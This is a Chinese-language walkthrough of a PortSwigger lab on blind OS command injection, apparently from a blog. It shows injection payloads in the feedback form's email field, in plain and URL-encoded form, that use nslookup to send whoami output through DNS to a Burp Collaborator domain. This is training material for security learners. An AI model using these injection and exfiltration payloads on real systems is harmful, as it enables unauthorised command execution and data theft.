从业者-OS命令盲注-带外数据泄露
# 实验室:带外数据泄露的OS命令盲注
# 题目
本实验室的 反馈功能 中存在操作系统命令盲注漏洞。
应用程序执行 包含用户提供的详细信息的 shell 命令。该命令异步执行,对应用程序的响应没有影响。无法将输出 重定向到可以访问的位置。但是,你可以触发与外部域的带外交互。
若要解决实验室问题,请执行whoami命令,并通过 DNS 查询将输出外泄到 Burp Collaborator 。你需要输入当前用户的名称才能完成本实验。
笔记
为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室和任意外部系统之间的交互。要解决实验室问题,必须使用 Burp Collaborator 的默认公共服务器。
- name: 实验室-从业者
desc: 带外数据泄露的OS命令盲注 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
根据题意,可得实验目标:
- 在 反馈功能 中,尝试利用 OS命令盲注漏洞,并触发与外部域的带外交互。
- 通过触发带外交互,将
whoami命令执行的输出外泄到 Burp Collaborator 。 - 在网站中输入当前用户的名称,以完成实验。
点击 “Access the lab” 进入实验室。
实验室首页如下,在右上角可以看到一个 “Submit feedback” ,点击它进入反馈页面。
反馈页面如下,填写相应信息,启用浏览器代理 并提交反馈。
查看 BurpSuite 数据包情况。
切换至 “Collaborator” 选项卡,点击 “Get started” 启用功能。
启用功能后,点击 “Copy to clipboard” 获取一个域,它会自动复制到你的剪贴板当中。
构建注入的命令,通过nslookup命令来触发 对该域的 DNS 查找,对命令进行 URL 编码。
# 编码前
& nslookup 4lqequl00u8ofrjr54mfjc4mgdm4auyj.oastify.com &
# 编码后
%26%20%6e%73%6c%6f%6f%6b%75%70%20%34%6c%71%65%71%75%6c%30%30%75%38%6f%66%72%6a%72%35%34%6d%66%6a%63%34%6d%67%64%6d%34%61%75%79%6a%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%20%26
2
3
4
5
将命令注入email参数当中,应用程序并未返回任何错误信息,因为它是 异步执行 的。
回到 “Collaborator” 选项卡,可以看到 DNS 查询记录,说明注入的命令成功执行,并造成了带外交互。
(如果没有显示记录,则点击 “Poll now” 立即刷新。如果刷新之后还是没有记录,则检查前面的步骤是否有误)
在确认漏洞点之后,修改注入语句,通过双反引号``内联执行whoami命令,并将其输出 拼接到外部域当中。
# 编码前
& nslookup `whoami`.4lqequl00u8ofrjr54mfjc4mgdm4auyj.oastify.com &
# 编码后
%26%20%6e%73%6c%6f%6f%6b%75%70%20%60%77%68%6f%61%6d%69%60%2e%34%6c%71%65%71%75%6c%30%30%75%38%6f%66%72%6a%72%35%34%6d%66%6a%63%34%6d%67%64%6d%34%61%75%79%6a%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%20%26
2
3
4
5
将修改过后的命令注入email参数当中。
切换到 “Collaborator” 选项卡,下方多出了两条记录,查看记录,成功外泄whoami命令的输出,获得用户名peter-3KtLdg。
回到浏览器页面,点击网页上方的 “Submit solution” 。
点击按钮之后,会弹出一个提示框。输入刚刚获得的用户名,然后点击 “确定” 。
提交正确的用户名之后,实验完成。
